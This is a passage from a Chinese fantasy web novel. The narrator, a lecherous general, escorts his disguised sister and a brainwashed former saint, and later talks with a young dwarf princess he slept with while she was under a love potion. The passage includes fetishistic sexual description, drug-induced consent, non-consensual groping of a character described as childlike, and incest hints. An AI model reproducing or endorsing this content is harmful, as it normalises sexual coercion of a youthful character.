另一方面,冷翎蘭仍為著那件新生的煩擾而愁上眉梢,她向我簡單解釋,慈航靜殿的聖女天河雪瓊是她摯友,幾年前天河雪瓊出海求學,更兼負慈航靜殿使命出訪異大陸,卻不料一行人未及出海便告失蹤,此事被慈航靜殿列為機密,數年來派出無數人力搜索,一無所獲。
「人是在我阿里布達境內失蹤的,我動員手上所有力量尋找,幾年下來沒有結果,我知道她是出事了。」
冷翎蘭道:「到了後來,光之神宮那邊的態度也變得很奇怪,停止了搜查,對楊關事情不聞不問,我想這其中必有古怪,或許雪瓊她是被捲入神宮的權力內鬥,這種事……只有神宮高層才會知道,現在看來,當時神宮內有黑龍王之亂,以心燈居士的狡詐陰險,用什麼陰謀手段剷除雪瓊,這都是說得過去的。」
這些推斷,我聽了心裡暗笑,冷翎蘭身為當世女傑,見識、判斷力都不俗,不過她的臆測卻與事實相差甚遠。
當初在阿里布達搞倒天河雪瓊時,我面目全非,就算有人看到也不會猜到是我,天河雪瓊一行人就此栽得不明不白,後來天河雪瓊落入黑龍會手中,以黑龍會的行事縝密,這一段過程雖非無跡可尋,但旁人想要找到線索卻也極難。
後來天河雪瓊變成了小狐女阿雪,與我行走江湖,我心有所忌,刻意低調,幾乎都讓阿雪蒙面,她既不以面目示人,身形體態又大變,有人認得出她才有鬼,當我們流浪到南蠻,不良中年也加入隊伍後,一切就此底定,在我全然不曉得的情形下,茅延安漸漸確認了阿雪的身份,並且與心禪大師取得聯繫。
假如天河雪瓊只是個單純的神宮聖女,她出海求學也僅是為了增廣見聞的話,心禪大師會在接到茅延安的訊息後,立刻採取行動,把人弄回去,但實際情形卻偏偏很不單純,考慮到把天河雪瓊弄回去的結果,心禪大師就保持沈默,暗中觀察整個情況,反正,與其把人弄回去當妖尼姑的性奴隸,一個快樂的小狐女無疑是比較好的選擇。
當然,有了茅延安這邊的線報,就不需要再花偌大人力物力去找聖女的下落了,天河雪瓊失蹤的可能地點太廣,認真調查還要找人找到海外去,慈航靜殿就算是財雄勢大,也不能這樣胡亂花錢,所以調查行動便縮減規模,最終變成了聊具形式,看在冷翎蘭眼裡,她自然會覺得有問題,只不過事實真相與她所想相去甚遠而已。
「……想不到,雪瓊會出現在索藍西亞,這背後到底有什麼?雪瓊的失蹤該與黑龍會有關,黑龍會已經覆滅,雪瓊出現在這裡,難道……索藍西亞與黑龍會有牽扯?」
冷翎蘭皺眉沈吟,她所想的東西,竟是誤打誤撞地與我的推測相同,雷曼背後的那一片黑暗,與昔日黑龍會種種有著千絲萬縷的關係,不說別的,光是天河雪瓊現在的狀況,就讓人匪夷所思。
「唔,你肯定那個女人是天河雪瓊?我是說……天河雪瓊是慈航靜殿的,而那個女人……一看就知道是黑魔法的大行家。」
「不會錯的,雖然我也感到難以置信,但這點絕不會有錯,她就是天河雪瓊,我不會認錯,尤其是她的那份特有氣質……」
冷翎蘭說得斬釘截鐵,但說完也搖了搖頭,想不通發生在友人身上的不尋常變化。
聖女變魔女,這是機緣巧合加上我苦心設計的結果,要是當初天河雪瓊的光明魔力沒有被打散還原成純能量,我也沒法把她汙化改造成功,這事違反現今的魔法原理,冷翎蘭想像不出倒也正常。
但有一點冷翎蘭沒說錯,天河雪瓊此刻身上所散發的,正是那種她所獨有的冷清氣質,我也正是因此只將她當成天河雪瓊,沒有當她是阿雪。
雷曼曉得天河雪瓊的身份,這點並不為難,只要趁她沒防備的時候掃瞄記憶就成,雷曼讓她仍沿用著「雪瓊」之名,就是為了向我表示他清楚這點。儘管天河雪瓊的記憶沒回復,可是身體已經由獸轉為人,這點我至今想不出雷曼是怎麼做到的,只能解釋為……雷曼在這方面的技術超越現今水平,才有如此通天手段,至於雷曼為什麼擁有如此技術,那個理由恐怕直指向黑龍會了。
黑龍會整天搞特殊實驗,在各方面都掌握到最先進技術,超越現今水平,這些技術一直到黑龍會分崩離析的現在,都下落不明,慈航靜殿、東海反抗軍掘地三尺,找不到當初黑龍會的研究人員與資料,好像那些研究成果都被銷毀,或是從不存在過,要是說雷曼得到了這些技術,把天河雪瓊改造回原形,那很合理,畢竟當日改造阿雪的就是黑龍會,解鈴還須繫鈴人。
(雷曼沒有把阿雪改回光屬性,這不曉得是他不願意?還是做不到?當初黑龍會也沒掌握到這技術……嗯,要把已經定型為黑魔法師的阿雪再變回去,應該是做不到,最多也只能弄出個黑暗化的天河雪瓊來。)
我還記得,當初黑龍會所研究出的諸多技術中,最令人驚歎的一種,就是打破魔法的元素限制。黑龍王、黑巫天女都曾經以一人之身,交錯使用兩種不同類別的魔法,威力驚天動地,這技術要是也落在雷曼手上,我對他的實力將要重新評估。
冷翎蘭道:「我要立刻設法將這些消息傳回慈航靜殿,雷曼王子若與黑龍會勾結,他的野心肯定不只索藍西亞,必將危及大地,但……我手上沒有證據,也不能肯定這些技術會否僅是索藍西亞自己開發出來的。」
「不可能,倫斐爾失勢之前,與雷曼是相互牽制的情形,要是雷曼搞那麼大的研究,倫斐爾不會不知道。當然,他不見得會對你提起,但從他對這個弟弟提防不深的情形來看,他對雷曼的實力所知不多,我想雷曼不會在索藍西亞搞大規模研究工作。」
我還留了一句沒說,要是索藍西亞有這樣的技術,大可以搞其他強大的魔法兵器,用不著去偷白拉登的藍圖,製造什麼末日戰龍了,這種接近神話級數的東西,成功建造出來的機率很低,建造好以後出事的機率又高,換做我主掌一國軍政,才不會浪費資源去搞這種東西。
天河雪瓊與阿雪的關係,我沒打算告訴冷翎蘭,現在說這些沒有太大意義,況且牽涉到心劍神尼的事實真相太過誇張,也不曉得她是否能承受,萬一弄巧成拙,讓她以為我謊話連篇,那就成了反效果。
「但是……有件事確實令我很好奇。」我故意露出一副色慾熏心的表情,道:「發生在你朋友身上的事,非常驚人,雷曼的改造手段實在高明,尤其是……那雙大奶,我記得以前好像沒有那麼大的,到底是怎麼改造才改成這樣?這手技術我要是能學到,一定用來造福世人。」
說著,我還特別往冷翎蘭胸口瞪上一眼,冷翎蘭顯是想起當日在薩拉城,我與天河雪瓊的恩怨:「啊」了一聲,表情驟變,怒氣沖沖地走了。
冷翎蘭與天河雪瓊的感情,比我所預料得更好,這點連我也不知道是吉是凶,不過冷翎蘭走出去沒多遠,一件天上掉下來的禮物,就砸得我冷汗直流。
「奉雷曼王子之令,立刻拔營回華爾森林,由我擔任各位貴賓的護衛,請各位開始行動,不要浪費時間。」
雷曼派來了使者,催我們上路,這本來也沒有什麼,但他所派來的使者卻是問題所在,我開始懷疑雷曼這傢夥會否有著唯恐天下不亂的傾向,明知道我們現在正為著天河雪瓊而苦惱,他居然就這麼把人給派來。
看到那張熟悉的面孔出現,我心中一陣狂喜,但又曉得不能在這時候表露真實情感,連忙把喜悅壓下,讓自己看起來平淡如常。相較於我,冷翎蘭明顯地表露出喜悅之情,她隱藏情緒的本事不會輸我,只不過現在沒有必要隱藏而已。
「雪瓊,你好嗎?我是……」
「兩位都是我方貴賓,請兩位立刻準備上路,不要給我製造困擾。」
有禮卻冷淡的態度,天河雪瓊的臉上一派冷漠,拒人於千里之外,看得出來,要不是她身上有命令待完成,肯定掉頭就走,連一句話都不會與我們多說。
冷翎蘭不是笨蛋,看到天河雪瓊這樣的神情,猜得到天河雪瓊的身心狀況,既然對方將前事盡忘,那便沒必要撲上去呼天搶地,這樣於事無補,所以冷翎蘭也換上一副漠然表情,點了點頭,看似毫不在意,卻握緊了拳頭。
我在一旁默不作聲,雙眼盯著天河雪瓊不放,腦裡浮現往日阿雪的一顰一笑,兩者有著相同的面孔,卻又有著截然不同的靈魂,很難想像這個女人就是我的阿雪。
姑且不論我們有否可能把天河雪瓊回復正常,現在我更擔心,有沒有可能把天河雪瓊變回阿雪?要是沒有可能,那我此刻在這裡一切的所作所為,豈不是都沒有意義了?
我克制著自己的情緒,但一種失去珍貴東西的恐懼感,卻讓我的手不由自主地抖了起來。
「法雷爾將軍,我受命一路上保護你的安全,直至抵達華爾,不曉得你有沒有什麼特別要求?」
天河雪瓊來到我面前,不含一絲情感的聲音響起,我不想聽這種聲音,卻又別無選擇,當下只有點點頭,露出一個很勉強的笑容。
「沒有什麼,一切有勞,這一路上就讓我們好好的相處吧。」
◆ 第三話:萬里送遞.查無此人
乘車離開這座森林時,我的目光不住望向那座惡置之谷。這座山谷裡頭肯定有著什麼東西,但我卻沒有能力將之發掘出來,實在是令我很扼腕的事,尤其是想到雷曼對山谷中的那件邪物志在必得,我就很遺憾自己沒能把握住這個抓敵人痛腳的機會。
對著這名高深莫測的精靈王子,我覺得自己處處落在下風,雷曼行事有若高手下棋,每一著都落在我們想不到的地方,讓我們佈局大亂,完全被他牽著走,不曉得下一步到哪裡去。
要對付這樣的強敵,我們目前的力量是嫌薄弱了,力敵拼不過,智取也無隙可趁,我覺得起碼要白拉登這等級數的強人,才有辦法與雷曼勢均力敵。
……這麼說來,該不會白拉登早有預謀,就是讓我們來索藍西亞替他對付雷曼的吧?雖然我們沒有打倒雷曼的實力,但白拉登以我們做棋子,來索藍西亞搞破壞,消耗雷曼的力量,這個倒是……他媽的,難怪大叔沒跟著來,一定是早知情況不妙,趨吉避西去了。
我坐在馬車上,腦裡浮現許多念頭,思考正是我現在唯一能做的事,歸納我手邊所擁有的資源,看看有沒有什麼東西是被我所遺漏的。
有可能的助力……羽霓、紫羅蘭追蹤阿雪而去,至今未歸,有可能也落在雷曼的手上,要是也被雷曼改造,又或是讀取腦部訊息的話,對我們將非常不利。其餘可以找的幫手,不是遠在天邊,就是力量不足,來了也是送死的。
忽然,我想起了一個人,雖然沒有看到真面目,卻幫助過我們,而且……非常強。
那日山谷中的一場激戰,雷曼向我們下殺手,如果不是一位神秘女郎及時出現,化雷散電,我們沒可能全身而退,那位神秘女郎很強,甚至可能已臻至最強者級數,我想不出她是誰,卻覺得似曾相識。
這問題我想了許久都沒有答案,卻在此刻腦中靈光一閃,想起了那份熟悉所為何來。
東海之上,與李華梅決裂動手時,有一名女子神秘出現,與盛怒中的李華梅正面動手,阻了李華梅一段時間,讓我們得以逃生。儘管我不知道她是誰,但那道怒海蒼濤中的女子身影,與當晚在亡靈山谷中的神秘女郎,兩者形象完全重疊,特別是那樣一份特有的驕傲、自豪,哪怕我們只是看到模糊的身影輪廓,都能清楚感受。
換句話說,這位神秘女郎在東海、亡靈山谷中連續救了我兩次,如此人物,我不但想不起她是誰,就連一點蛛絲馬跡都推測不出,實在很奇怪。
(到底是誰?我作惡多端,不會有人莫名其妙來救我,她是何人?高手不會平白與故冒出,更何況女性高手屈指可數,大地上什麼時候有這樣的女高手了?她兩次及時出現,我不信當真如此湊巧,難道……她一直跟著我?)
這麼一想,我心頭一驚,目光不由自主地望向車窗外,四下搜尋,雖無所獲,但這動作卻瞞不過與我同車的冷翎蘭。
「怎麼了?有什麼不對嗎?」
皺眉說話,男裝的冷翎蘭仍是美得驚人,畢挺的軍裝,俊美帥氣,我不會對親妹妹心動,卻衷心讚歎,難怪以前冷翎蘭走在薩拉的大街上,沿途尖叫暈倒的女性遠多過男性,聽說還有些女人太過欽慕她,發願為她終生守身不嫁的。
「周圍只有我們的護衛兵,沒有其他的人跟蹤,你不用多心。」
天河雪瓊的聲音聽來很冷,但身上的衣著打扮卻很火辣,黑色的皮革馬甲,超短的黑色皮革熱褲,腳下穿著黑色長靴,全部都緊緊貼身,彷彿第二層皮膚般緊緊勾勒出一身性感動人的曲線,尤其是圓滾滾的肉臀,在黑色皮褲的包裹下,顯得又圓又大,讓人非常想去用力拍下。
神秘高貴的黑色、皮革特有的氣味,含有背德與墮落的暗示,如果能再多一條皮項圈,就能增添性虐的氣息,突顯出黑暗女王的身份,但我們所注意的重點不在這裡,因為當那套馬甲收勒住纖細的柳腰,H罩杯的巨乳尺寸就分外驚人,馬車震動一下,那兩團雪白豐腴的碩乳波濤洶湧,彷彿隨時都會裂衣彈出。
天河雪瓊的目光直視我們,全然不在意自己的巨乳彈跳,但我們卻很難不去注意。狹小的車廂內,對面的渾圓豪乳像是兩座巨山,連壓而來,我非常清楚地感受到那種火辣辣的壓迫感,時間一久,我不得不交疊雙腿,掩飾自己的出醜,就連冷翎蘭都下意識地拉了拉衣領,似乎想要護住胸口,自慚不如。
「你……負責保護我們到華爾森林嗎?」用這句話當開頭,我嘗試與天河雪瓊攀談。
「奉王子殿下的命令,從這裡到華爾森林的路上,由我護衛法雷爾將軍的安全,其餘的事情我沒得到命令。」
天河雪瓊冷冷說話,拒人於千里的感覺讓我不好受,幸虧我不用一直忍受,因為不明就裡的冷翎蘭沈不住氣,主動對天河雪瓊試探,問她對前事有多少記憶,又為何以人類之身,居然在索藍西亞與精靈共事?
「這些東西沒有必要告訴你們吧……不過,王子殿下交代過,凡是法雷爾將軍的命令就必須遵從,法雷爾將軍的問話也必須誠實作答,剛才的這些話,我可以視作是將軍你的問話嗎?」
料想不到雷曼居然下了這種指令,他真是自信滿滿,不但把操控的人偶送到我這邊來,還下達這種命令,一點都不怕被我找到破解之法,簡直是狂妄得沒邊了。
我點了點頭,天河雪瓊也做出解釋,表示她腦中的印象殘缺不全,只記得曾在荒島上與毒龍戰鬥,過程還很模糊,有可能是因為這一戰,讓自己腦部受創,記不起自己是什麼人。
在與毒龍戰鬥之前的記憶,也只剩下在某個冰寒刺骨的雪山上苦修,無論颳風下雨,始終堅持不輟的印象,而且在這些模糊印象中,還感覺到附近有一個極恐怖的邪物,令人發寒的視線無時不刻地盯視而來。
(呃……天河雪瓊也不算太笨嘛,或者說,失憶之後反而比較聰明了,居然感應到那個妖尼姑的存在與真實面目。)
我心中暗自發笑,冷翎蘭輕推我一下,悄聲表示雷曼果然陰險毒辣,當年天河雪瓊在孤峰頂上清修,唯一接觸到的人就是心劍神尼,雷曼顛倒黑白,故意讓天河雪瓊對恩師留下邪惡印象,很可能以後挑撥離間,令這對師徒翻臉成仇。
(冷二小姐,你這也未免錯得太厲害了,雷曼沒有桃撥離間,你的師伯確實是一個妖尼姑,真的很邪惡啊!這對師徒以後會不會翻臉成仇是難說,但如果一切照預定走,這對師徒現在已經變成一雙變態的性虐伴侶了。)
天河雪瓊說,她不曉得自己以前是誰,也不知道自己為何會去和毒龍戰鬥,但從她再有記憶開始,就是與雷曼在一起,她相信雷曼是救命恩人,更決定向雷曼效忠,守護這位救命恩人。
「嗯,你說的東西我明白了,那我只剩下一個問題。」我道:「雷曼王子確實偉大,但他只是救你一次,為什麼你就決定要一生跟著他賣命呢?」
冷翎蘭用手肘頂了我一下,似是怪我問得太白癡,但作為此道的外行人,她不瞭解我真實的意圖,是為了天河雪瓊回答之前,眼中一閃而逝的茫然。
「沒有什麼理由,受人救命之恩,以命相報,這是很自然的道理。」
是什麼道理不重要,但回答之前的短暫一頓,還有眼中的那抹茫然,顯示「報救命之恩」不是理由,只是一道被輸入的命令,說得明白一點,她以為自己是在報救命之恩,其實根本只是雷曼對她輸入的一個賣命理由。
(大概弄清楚了,雷曼抹去了阿雪的記憶,再輸入一兩個根深蒂固的命令,用這樣的形式在操縱她……手法很粗糙,要破解有相當難度,但並不是無法處理。)
我暗自盤算,發現冷翎蘭雙手緊握,正在壓抑心中的衝動。猜測得出來,我這個妹妹儘管有勇有謀,卻是直線條的個性,她應該很想直接對天河雪瓊說出真相,讓好友不再被歹人所利用,可惜這想法太不切實際,被洗腦兼精神控制的天河雪瓊根本不會相信她,只會造成反效果。
冷翎蘭明白這一點,所以她必須痛苦地忍下去。我把這一幕看在眼底,很感到唏噓,想要為她做點事,便伸手過去想拍拍她的拳頭以示鼓勵,哪想到才一碰到她的手,冷翎蘭就像被燒紅的烙鐵給燙著,閃電把手抽回,這種過於敏感的態度,倒讓我為之愕然。
「抱歉,我……」
還沒來得及說幾句打圓場的話,我察覺冷翎蘭表情有異,起初我以為是由於剛才的觸碰,但鼻端卻嗅到一種熟悉的甜香,這股甜香平常真的聞慣了,一時間竟然沒想到有什麼不妥,是過了一會兒,我才因為想到這股甜香的源頭而驚醒。
我轉過頭去,我看見天河雪瓊好好地坐在那裡,臉上冰冷的表情未變,但胸口……那雙瓜果似的豪碩巨乳,隨著馬車震盪,上下搖晃,在驚人的乳波巨浪中,我發現雪白如脂的肌膚上,慢慢沾著、溢出一些液體,越來越多,那股濃郁的甜香便是由這些液體中發出。
冷翎蘭也察覺到了這一點,當她側目望向天河雪瓊的胸口,見到那片雪白的汁液,臉上是一副快要尖叫出來的表情,哪怕與再厲害的強敵作戰,都難以看到她這樣的駭然之情,由此可見這幕畫面對她的衝擊。
「你……你這是……」
回應冷翎蘭的質問,天河雪瓊瞥向自己胸口,行若無事地道:「喔,漏奶了,這幾天身體狀況不錯,奶水比較充足,不知不覺就會縊出來。」
以前阿雪每次運使完魔法,就會分泌奶水,使用的魔法越高等級,運用的魔力越大,隔天分泌出的奶水量就越多,總會不知不覺地打濕衣服,往往就讓人目瞪口呆地看著她胸前兩處迅速擴散的濕漬,而她自己要過半天才察覺,後來為了避免類似的出醜場面一再上演,每逢用完魔法的隔天,阿雪就在內衣裡加上襯墊,吸收溢出的乳汁。
雷曼對阿雪進行改造,手法偷天換日,卻似乎沒有把她這種異常體質改回去,是因為難度太高無法改?還是刻意保留這一點?我覺得很好奇。以往阿雪穿的衣服都是絲綢或棉質,溢出的奶水會被衣服吸收,形成濕漬,雖然顯眼,看久了卻也還好,現在天河雪瓊穿的是皮革馬甲,奶水溢出無法吸收,偏偏馬甲穿得又緊,與皮膚貼得幾無空隙,奶水溢出後順著乳溝橫流,被擠到乳球上綠,汁水淌濘,反而變成一幕極為羞恥的畫面……至少冷翎蘭是這麼認為的。
「你、你怎麼會變成這種樣子?海總也太……太……」
冷翎蘭「太」了半天,說不下去,反而被天河雪瓊搶白:「太什麼東西?奶水是上天賜給女人的恩賞,分泌奶水是能夠成為母親的證明,每個女人都應該引以為傲、我覺得很光榮,難道你不這麼認為嗎?還是說……你習慣當假男人當太久,整天用布條纏奶子,已經纏到沒有奶水可出了嗎?」
我常常覺得,易容改扮這種東西扮到最後,與其說是騙人,其實都是在騙自己,更別說冷翎蘭的女扮男裝非常粗糙,僅是用布條纏胸,綁起頭髮而已,這樣要指望能長期瞞住外人,有很大成分要指望外人瞎了眼。
當然冷翎蘭自己不這麼想,她震驚道:「你從什麼地方看出來的?我什麼地方露了破綻?」
「難道你還真以為自己的變裝天衣無縫?你長得太美,就算改為男裝,看起來也不像是男人。」天河雪瓊道:「更何況,你與身旁這個男人曖昧過來,曖昧過去,這還想瞞誰啊?」
冷翎蘭怒道:「什麼曖昧過來、曖昧過去?」
「你們兩個每次對望的眼神都很詭異,一看就知道有問題,男人是不會用這種眼神看男人的。」
天河雪瓊說話同時,動作更是出人意料地大瞻,伸出指頭,戳向冷翎蘭的胸口,而冷翎蘭因為震驚太過,反應遲鈍,居然沒有阻攔,就這麼任天河雪瓊的指頭,戳上自己纏繞布條的胸口。
「還有,剛才他碰了一下你的手,你這麼大反應,我不但肯定你是女人,更確定你心裡對他一定有曖昧感覺。」
阿雪變成天河雪瓊之後,目光似乎變得敏銳許多,但在這一點上,我覺得她真是弄錯了,冷翎蘭與我不是那種關係,這位二公主也不可能對我有那種感覺。不過,正當我想要開口解釋,冷翎蘭忽然尖叫起來,先是一掌把我打趴,差點轟得我吐出血來,跟著又是一掌,把車門破壞,在外頭的連聲驚呼中,飛身衝出疾馳中的馬車。
「……媽、媽的……不管是與不是,也不必這麼大反應吧?這麼激動,你是被你老爸給強姦了嗎?」
我狼狽地坐起身,只覺得渾身筋骨都痛,很想嚎叫,但卻發現天河雪瓊一臉鄙夷地看著我,那個眼神就與初識時一般無二。
「你這個人……關口閉口不是奸就是干,這個世界對你的意義就只有如此嗎?什麼生物在你眼中都是用來干、用來操的?像你這樣的人……真是人渣。」
「……這個嘛,修練黑魔法到你這麼高強的地步,肯定殺人無數,碰上你這樣的人,我是覺得罵我人渣沒什麼道理啦。」
輕描淡寫,我把這個斥責頂了回去,這種事情對我早就是家常便飯了,但這次我很清楚,在天河雪瓊說人渣的那一瞬間,我確實生出了消失已久的怒氣。
雖然有了點小波折,但這天的旅程很平安,我們就如計劃中的那樣趕路,夜晚在曠野上紮營休息。
精靈是講究自然的種族,重視生命,族中九成以上都是吃素,甚至連馬也不騎。為了接待國賓,特別弄來了馬車供我乘坐,但他們自己是不騎馬的,幾千人在原野上步行,速度當然受到限制,唯一的例外,就是那個沒有半點精靈樣子的大祭司柏南克,應該身為索藍西亞聖職人員表率的他,完全無視信仰戒條,大刺刺地乘坐馬車,大半天都在車裡不露面。
若是所料不錯,大祭司應該是在車裡搞女記者吧,以夏綠蒂的專業,會否趁機向這個老淫蟲作個專訪,這點耐人尋味,不過從頭到尾,我們只看到馬車搖搖晃晃,聽不到內裡發出的聲音,暫時是無法想像內中狀況了。
華更紗與白家子弟事後都來向我詢問,為何途中冷翎蘭忽然破車而出,是否遭到敵人暗算,發生戰鬥?
這問題頗為尷尬,我只能挑著解釋,表示敵方確實出手暗算,趁我們沒防備的時候,用指頭戳了冷二公主的胸部,逼得冷翎蘭破車逃離。
「啊?如此淫賤的偷襲?真是太下流了。」
「這是做了我們不敢做的事,搶先我們一步,好恨啊!」
「不過,與你們同車的那個人,不是個女人嗎?為什麼女人要戳冷二公主的奶子?」
「你懂什麼?女人中就沒有女色狼嗎?大千世界無奇不有,不要少見多怪,太難看了。」
我沒再多說什麼,只是看白家子弟們自行推測出他們的答案。冷翎蘭後來與華更紗同行,避開不見我的面,讓我有事想找她商量都找不到,看上去好像是在氣我,但依照我對她的瞭解,卻覺得她好像是不敢見我,躲了起來。
這真是奇怪,我不懂冷翎蘭在怕些什麼,是怕我對她有意思嗎?就算是,她武功高我那麼多,我即使有那個意思,也沒可能得手,更何況,我再怎麼禽獸,也不至於連我自己親妹妹也上,已經上過的姑且不論,但在有選擇的情形下,我不可能會動冷翎蘭,她的擔心真是想太多。
今晚紮營休息時,我獨自躺了好一會兒,胸口的傷勢似愈未癒,間歇性發作時更是疼痛,我休息了個把時辰,還痛到額頭見汗,這才把痛楚壓了下去,但胸口一股沈悶的感覺卻久久難去。
「怎會痛成這樣?不是說這傷勢沒大礙嗎?唔……也許該去找鬼婆來看看,別診斷失誤了。」
正要出門的時候,意外有人到訪,是矮人族的和親公主,不曉得來找我做什麼。
服下一日玉後至今已超過一天,藥效過去,琳賽的神智也回復正常,不再受那種盲目的愛戀影響,她出現在我這邊,表情古怪,一副欲言又止的模樣,看來是不會主動開口了。
「怎麼樣?清醒了嗎?」
琳賽點了點頭,算是回答了我的問題,和之前熱情中的那種急切相比,她眼中充滿著迷惘,而我也猜不透她在煩擾什麼。
「特別跑來找我……是想要再做一次嗎?」
琳賽馬上用力地搖頭,道:「不做了。你的技術很好,和你做的感覺也很舒服,可是……結束以後的感覺很奇怪,我……說不太出來。」
「嗯,是這樣啊……」我拍拍身旁的椅墊,示意琳賽坐到身邊來,琳賽疑懼地搖頭,我笑著保證絕不會違反她的意願碰她,琳賽這才稍微放下戒心,坐到我身旁來。
「你覺得奇怪,是不是因為和你之前的想像不一樣?」
「嗯,差很多呢。」琳賽大力點頭,皺眉道:「吃了真愛以後,我應該是很愛你的,你做愛的技巧很好,我們結合的時候很舒服,以前從來沒有過那麼舒服的感覺,但……即使是這樣,還是少了什麼,我總感覺……很不對勁,尤其是在藥效過去,清醒以後,那種不對勁的感覺變得很強烈,回想起來很不舒服。」
「這樣啊……那你知不知道為什麼會有這種感覺呢?」
「不知道。」
琳賽搖頭,這點正如我所預料,卻沒想到她接著冒出一句:「但我曉得你一定知道,而且,你還會說什麼等我長大了自己就會明白之類的話,哼!」
「呃,這個……」
被小小的精靈少女反將一軍,我啞然失笑,本來我確實是想這麼說,但現在我決定換個說法。
「開處果然是最好的人生教育,琳賽好像一夜之間長大,從小女孩變成少女了呢。既然你長大了,那是不能用以前的方法來說話了。」
我道:「你感覺不太對勁,那是因為這份愛虛假不實,至少,我想那與你所憧憬的感覺不一樣,所以儘管愛得濃烈,但你就是會感覺不對勁。」
「是這樣啊?那……真正的愛是什麼呢?」
「哈哈,這個問題就連我也不知道啊,我是個到處被人罵人渣的男人,讓我來說什麼是真愛,那也未免太好笑了,不過……」我側頭想了想,道:「我是不曉得愛是什麼,但通往真愛的路程中,不可免地需要付出,甚至是犧牲……應該也要經歷時間考驗,要是少了這些……雖然我不否認世上有一見鍾情的存在,但我還是覺得……少了那些東西,愛的感覺就是不對勁了。」
一番話說完,連我自己都感到好笑,這樣的話怎會由我口中說出?我是最不適合說這種話的人了,真愛這種東西,應該由法米特、夏洛堤這樣的人來闡釋,才有說服力,像我這種人……還是說干講操比較合適吧。
「原來是這樣……」琳賽道:「那為什麼這個道理,華姊姊她沒有告訴我呢?」
「拜託,那個鬼婆這輩子不可能愛過人,更不可能被人愛過,她這種人怎麼會曉得什麼是真愛?一個不曉得愛是什麼的人,妄想做出有愛之感覺的藥,那根本就是黑心商品,虧你還真的相信。」
「你早就知道,為什麼又不告訴我?」
「早知道又怎樣?真愛這種東西,本來每個人的解釋都不一樣,有人重視一瞬間的燦爛,有人在意永恆,像鬼婆那樣的心理變態,可能把戀人做成標本就是她的真愛,我哪曉得你的真愛是什麼?你看起來也滿騷的,好端端的主動送上門想開處,誰知道你的真愛是不是一晚高潮七次?既然不知道,那我怎麼能阻攔你嘗試的權利?」
說得太露骨,琳賽臉皮掛不住,氣得用手肘頂了我一下,我向來是不吃虧的個性,禮尚往來,也在她那雙小皮球的奶子上抓了一把,換來了矮人小公主的尖叫與腳踢。
「喂,一夜夫妻百日恩,好歹大家也算洞房花燭過,別這麼無情,謀殺親夫啊……」我笑道:「其實不幹不知道,你的屁股雖然小,卻彈力十足,皮膚也不錯,要是以後想要再爽一遍,歡迎隨時來找我,給我點好關照啊!」
「才不會呢!再也不讓你佔便宜了。」
琳賽向我做了個鬼臉,跑了出去,這點倒是還挺小孩心性的,我本來想對她說,好好去追尋你的真愛吧,但話到嘴邊才覺得自己荒唐。
我確實是太糊塗了,居然忘了最根本的東西,琳賽的命暫時是保住了,但保住她性命的原因,不是我們的力量,只是靠著雷曼的妥協,當雷曼改變主意,她隨時都會沒命,這樣的她……哪還有機會去尋找真愛?
今天的我,真是太反常了,居然對琳賽說了那麼多沒意義的話,實在可笑,是什麼東西影響了我,讓我這麼多感慨?
「……什麼生物在你眼中都是用來干、用來操的?像你這樣的人……真是人渣!」
這句話在耳中迴響,我覺得很是荒唐,用這種口氣罵我的人從來不缺,罵得更狠的都所在多有,早已習慣的我,怎有可能會被這種事情影響?但若說沒有影響,我又怎會為這句話而煩擾至今呢?
「約翰先生……」
不知什麼時候,離開的琳賽又跑了回來,在門口探頭露出可愛的小臉,遲疑地說道:「有件事我不知道該怎麼開口……」
「想要再做一次嗎?不用客氣啊,你處女都是我關的,一回生、二回熟,現在該上來搖屁股了,根本不用開口啊!」
「不是啦,你再這樣我就不說了,我是想要告訴你,有件事情華姊姊沒對你說,還要我別告訴你喔。」
「哈,正常,那個鬼婆如果會對我老老實實,這才是太陽打西邊出來,她是隱瞞我什麼?在老家有個老公?還是在老家有十幾個老公?」
「都不是,是……在華爾森林裡頭,應該是沒有酒吧的。」
「嘿,這算什麼?我一向是召妓給錢,不會到酒吧裡頭泡妞,有沒有酒吧關我屁事?讓該留心的人去煩吧。」
我不以為意,揮了揮手,腦裡卻忽然靈光一閃:「呃,什麼?華爾森林裡頭沒有酒吧?這……這可不太對勁啊!」
◆ 第四話:戰友落跑.心之縫隙
華爾森林裡頭沒有酒吧,這本來應該是一件很正常的事,一點也不會不對勁,崇尚樸素的精靈們雖不至於禁絕酒類,卻也不可能像人類這樣開放狂飲,通常除了祭祀場合的飲酒外,尋常生活時,他們都是淺淺小酌,很難得聽說精靈裡頭出現嗜酒如命的豪飲者,當然就更沒有必要開設酒吧了。
當初白拉登委託我送信的時候,我雖覺得奇怪,但對於精靈的生態與民風,我只能算一知半解,想說白拉登講得如此肯定,或許我的料想有誤,所以沒有提出質疑,後來認識柏南克,發現索藍西亞的大祭司荒唐至此,喝酒什麼的更不在話下,就沒有對酒吧這一點有什麼想法。
如果琳賽只是單純提出疑問,那我也會堅持想法,對她做出解釋,但她說華更紗要她把這個問題瞞著,不能告訴我,那事情就百分百有問題了。
心叫不好,我沒有再耽擱,馬上就趕去華更紗那邊質問,想瞭解她到底瞞了我什麼,卻不幸撲了個空,華更紗所居的營帳裡看不到她,只有一個冷翎蘭在,當我衝進營帳,冷翎蘭正盤膝坐地,凝神運氣,行功到緊要關頭。
我知道像這一類的運功,如果被人打擾或打斷,都會非常危險,冷翎蘭也沒留個人在外護法,就這麼一個人躲起來運功,甘冒奇險,恐怕是有什麼緊急事情不得不為,我不敢出聲,安靜看了看,發現她身旁橫放著一個藥瓶,瓶中的藥丸或藥水已被服用。
很顯然,冷翎蘭是吃了華更紗的藥,正在行功把藥力化開。我知道冷翎蘭一直在接受華更紗的治療,但她先前所受的舊傷,經過這些時間治療,理應痊癒大半,不用再接受這種緊急治療,難道還有什麼別的要治?
冷翎蘭練功方式激走偏鋒,搞到身體內憂外患一堆,我也不是很清楚她的狀況,現在看著她皺眉運氣的樣子,回想她的言行,不由得疑心大起。
過了好一會兒,冷翎蘭運功圓滿,斂氣停歇,慢慢地回復意識,察覺到身旁有人。
「你回來了……是你?」
冷翎蘭最初似乎是以為華更紗回來,發現是我,吃了一驚,身軀劇震,差一點就口噴鮮血,幸虧她修為深湛,立刻閉目靜心,將紊亂真氣平復下來。
「幹什麼?用得著看到我嚇成這樣嗎?」我皺眉道:「你乾脆老實告訴我,源堂對你做了什麼?或者對你說了什麼?」
